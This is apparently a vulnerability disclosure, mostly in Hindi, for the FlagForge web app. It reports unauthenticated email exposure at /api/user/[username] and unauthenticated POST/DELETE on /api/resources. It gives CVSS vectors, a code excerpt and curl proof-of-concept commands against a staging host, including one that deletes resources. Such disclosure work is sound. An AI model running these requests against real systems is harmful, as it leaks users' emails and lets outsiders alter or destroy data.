
FlagForge पर संस्करण 2.0.0 से 2.3.0 तक CVE। समस्या को ठीक करने के लिए संस्करण 2.3.1 में अपग्रेड करें।
दायरे में / प्रभावित एप्लिकेशन: FlagForge वेब एप्लिकेशन
API एंडपॉइंट: /api/user/[username]
विवरण: यह एंडपॉइंट बिना प्रमाणीकरण के उपयोगकर्ता ईमेल पते लौटाता है। किसी भी उपयोगकर्ता नाम को सार्वजनिक रूप से क्वेरी किया जा सकता है।
const user = await UserSchema.findOne({
name: { $regex: new RegExp(`^${username}$`, 'i') }
}).select('name email image totalScore customBadges createdAt role');
// No authentication check is performed
email: user.email, // Exposed publicly
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:M/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/AU:Y/RE:L
curl "https://staging.flagforge.xyz/api/user/No%20Reply"
नमूना प्रतिक्रिया:
{
"success": true,
"user": {
"name": "No Reply",
"email": "<REDACTED>",
...
}
}
दायरे में / प्रभावित एप्लिकेशन: FlagForge वेब एप्लिकेशन
API एंडपॉइंट: /api/resources
विवरण:
GET /api/resources सभी संसाधनों को सार्वजनिक रूप से उजागर करता है।
कोड समीक्षा के आधार पर, POST और DELETE अनुरोध प्रमाणीकरण या प्राधिकरण लागू नहीं करते हैं। उत्पादन डेटा को प्रभावित करने से बचने के लिए इन अनुरोधों का लाइव सिस्टम पर परीक्षण नहीं किया गया।
देखे गए हेडर (OPTIONS अनुरोध):
❯ curl -i -X OPTIONS "https://staging.flagforge.xyz/api/resources"
HTTP/2 204
access-control-allow-origin: https://staging.flagforge.xyz
allow: DELETE, GET, HEAD, OPTIONS, POST
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
date: Thu, 25 Sep 2025 15:03:45 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/resources
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::v7k72-1758812623945-4e3fad4b58b4
x-xss-protection: 1; mode=block
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:U/CR:M/IR:H/AR:M/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:H/MVA:L/MSC:L/MSI:H/MSA:L/S:N/AU:Y/RE:M/U:Red
curl -X GET "https://staging.flagforge.xyz/api/resources"
यह आपको संसाधनों का _id देगा।
curl -X POST "https://staging.flagforge.xyz/api/resources" \
-H "Content-Type: application/json" \
-d '{"title":"Test","description":"Test","category":"Web","resourceLink":"https://example.com","uploadedBy":"tester"}'
curl -X DELETE "https://staging.flagforge.xyz/api/resources?id=<resource-id>"